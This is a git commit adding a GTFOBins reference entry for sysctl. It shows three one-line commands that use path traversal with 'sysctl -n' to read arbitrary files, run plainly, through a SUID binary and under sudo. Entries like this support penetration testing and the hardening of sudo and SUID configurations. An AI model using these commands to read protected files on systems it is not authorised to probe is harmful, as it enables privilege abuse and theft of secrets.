Create sysctl.md

This commit is contained in:
Fabrizio 2020-06-11 12:10:35 -04:00 committed by Andrea Cardaci
parent 45308d4f58
commit 8ab57da5c7

16
_gtfobins/sysctl.md Normal file
View File

@ -0,0 +1,16 @@
---
functions:
file-read:
- description: It reads data from arbitrary files when combined with a path-traversal. The -p argument can also be used in place of -n.
- code: |
LFILE=file_to_read
sysctl -n "/../../../../../$LFILE"
suid:
- code: |
LFILE=file_to_read
./sysctl -n "/../../../../../$LFILE"
sudo:
- code: |
LFILE=file_to_read
sudo sysctl -n "/../../../../../$LFILE"
---